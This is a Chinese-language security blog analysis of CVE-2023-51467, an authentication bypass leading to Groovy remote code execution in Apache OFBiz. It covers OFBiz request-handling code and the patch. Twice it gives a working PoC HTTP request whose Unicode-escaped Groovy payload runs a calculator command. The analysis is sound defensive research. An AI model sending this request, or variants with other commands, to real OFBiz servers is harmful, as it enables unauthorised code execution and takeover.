Apache OFBiz groovy 远程代码执行漏洞分析(CVE-2023-51467)

Apache OFBiz groovy 远程代码执行漏洞分析(CVE-2023-51467)

作者:le1a@threatbook
校验:jweny@threatbook

漏洞分析

在上一次的漏洞CVE-2023-49070中,修复方式仅仅是删除了XML-RPC模块,但全局的权限登陆校验的Filter仍未修复,导致了依然可以权限绕过去调用其他后台接口。这次漏洞就是与ProgramExport模块相关。

ProgramExport 模块是 OFbiz 中的一个模块,用于将 Groovy 脚本导出为 Java 类。它允许您在 OFbiz 中使用 Groovy 脚本,而无需将它们编译成 Java 字节码。

有趣的是,该后台漏洞在20年就披露了,而当时由于需要鉴权,所以被官方驳回,而修复的方案仅仅是不允许创建jsp文件……

企业微信截图_e697c48e-244c-4dde-96d7-13e48043576d.png

企业微信截图_c67fb175-0b79-457a-a18d-c163df7c2526.png

言归正传,根据上一次漏洞的权限绕过payload可构造如下POC:

  1. POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
  2. Host: localhost:8443
  3. Content-Type: application/x-www-form-urlencoded
  4. groovyProgram=\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0022\u006F\u0070\u0065\u006E\u0020\u002D\u0061\u0020\u0063\u0061\u006C\u0063\u0075\u006C\u0061\u0074\u006F\u0072\u0022\u0029

将断点打在ProgramExport.groovy

image-20231227212745859.png

入口点在ControlServlet#doGET()中,然后调用了handler.doRequest()方法。在调用handler.doRequest()之前,主要是做请求预处理,包括获取用户会话信息、设置响应头、准备delegator、dispatcher、security等对象,以及打印调试日志等。这些预处理为后续的业务处理提供必要的上下文和资源。

跟进到handler.doRequest()

image-20231227213000932.png

这里根据nextRequestResponse.type的值来选择后续执行逻辑

而nextRequestResponse来自于这里

  1. ConfigXMLReader.RequestResponse successResponse = requestMap.requestResponseMap.get("success");
  2. if ((eventReturn == null || "success".equals(eventReturn)) && successResponse != null && "request".equals(successResponse.type)) {
  3. // chains will override any url defined views; but we will save the view for the very end
  4. if (UtilValidate.isNotEmpty(overrideViewUri)) {
  5. request.setAttribute("_POST_CHAIN_VIEW_", overrideViewUri);
  6. }
  7. nextRequestResponse = successResponse;
  8. }

requestMap中的requestResponseMap以及success Response是在解析controller.xml配置文件时读取并设置的。

具体代码在ConfigXMLReader类的parseRequestMap方法中:

  1. public void parseRequestMap(Element requestMapElement) {
  2. RequestMap requestMap = new RequestMap();
  3. requestMap.securityAuth = "true".equals(requestMapElement.getAttribute("auth"));
  4. requestMap.securityCert = "true".equals(requestMapElement.getAttribute("cert"));
  5. requestMap.securityExternalView = "true".equals(requestMapElement.getAttribute("external-view"));
  6. requestMap.securityDirectRequest = "true".equals(requestMapElement.getAttribute("direct-request")) ;
  7. requestMap.securityHttps = "true".equals(requestMapElement.getAttribute("https"));
  8. // 解析event、response等子元素
  9. List<? extends Element> childElements = UtilXml.childElementList(requestMapElement);
  10. for (Element childElement: childElements) {
  11. if ("event".equals(childElement.getTagName())) {
  12. // 解析event元素
  13. } else if ("response".equals(childElement.getTagName())) {
  14. // 解析response元素
  15. RequestResponse requestResponse = new RequestResponse();
  16. requestResponse.name = childElement.getAttribute("name");
  17. requestResponse.type = childElement.getAttribute("type");
  18. requestResponse.value = childElement.getAttribute("value");
  19. requestMap.requestResponseMap.put(requestResponse.name, requestResponse);
  20. } else if ("success".equals(childElement.getTagName())) {
  21. // 解析success响应
  22. RequestResponse successResp = new RequestResponse();
  23. successResp.type = childElement.getAttribute("type");
  24. successResp.value = childElement.getAttribute("value");
  25. requestMap.requestResponseMap.put("success", successResp);
  26. }
  27. }
  28. // 添加到ControllerConfig的map中
  29. ccfg.addRequestMap(requestMap);
  30. }

可以看到,在解析每个<request-map>时,会解析出其success响应,添加到requestResponseMap中,供后续使用。

所以requestMap和其中的responses都是在启动初始化时从配置文件解析和设置的。

在controller.xml中也能看到type的值为view

image-20231227214746879.png

继续跟进到renderView()

image-20231227214918328.png

这里主要是获取渲染CONTEXT,并准备好响应头的各种配置,以供后续视图渲染使用。

中间经过几层调用后,来到了关键的org.apache.ofbizz.widget.model#runSubAction()

image-20231227222609957-4254905.png

这里执行了ProgramExport.groovy,而action源于上一层调用

image-20231227222937612

这里的actions元素也是从视图配置的XML文件中获取的。

image-20231227223129516

image-20231227223156574

然后继续跟进到runAction()

image-20231227223309371

继续跟进

image-20231227223322564

继续跟进

image-20231227223342357

继续跟进

image-20231227223430890

最终执行了Groovy代码

image-20231227223743288

补丁分析

在新的补丁中,更改了最后的login返回逻辑,如果前面都通过了,不再是根据requirePasswordChange的真假来判断,而是直接返回error,也就是前面传入Y,使得requirePasswordChange为True行不通了

image-20231228001054149

但是仔细观察发现,还有一处return requirePasswordChange ? "requirePasswordChange" : "error";没有修改

image-20231228001317699

这里使用isEmpty()判断是否为空,需要null或者长度为0,所以空字符串正好满足

image-20231228001446432

那是不是username和password为空就能再次bypass呢???

经过实际测试发现,在上一个版本的确是可以成功,因为上个版本中的checklogin方法调用login方法的时候使用的并不是isEmpty(),而是判断是否为null。所以空字符串正好钻了空子,既不等于null,又满足isEmpty()

image-20231228001819945

而新版补丁改为了isEmpty(),与后续login()校验一致,导致没办法绕过了。

漏洞复现

  1. 网站首页如下图:

3b83950f29b76e5eae5696d673694929

2.使用如下POC进行验证

  1. POST /webtools/control/ProgramExport;/?USERNAME=&amp;PASSWORD=&amp;requirePasswordChange=Y HTTP/1.1
  2. Host: localhost:8443
  3. Content-Type: application/x-www-form-urlencoded
  4. groovyProgram=\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0022\u006F\u0070\u0065\u006E\u0020\u002D\u0061\u0020\u0063\u0061\u006C\u0063\u0075\u006C\u0061\u0074\u006F\u0072\u0022\u0029

8c57e87e534059003b792e49b7e90d27

  • 发表于 2024-01-15 10:00:02
  • 阅读 ( 28105 )
  • 分类:漏洞分析

0 条评论

jweny
jweny

16 篇文章

站长统计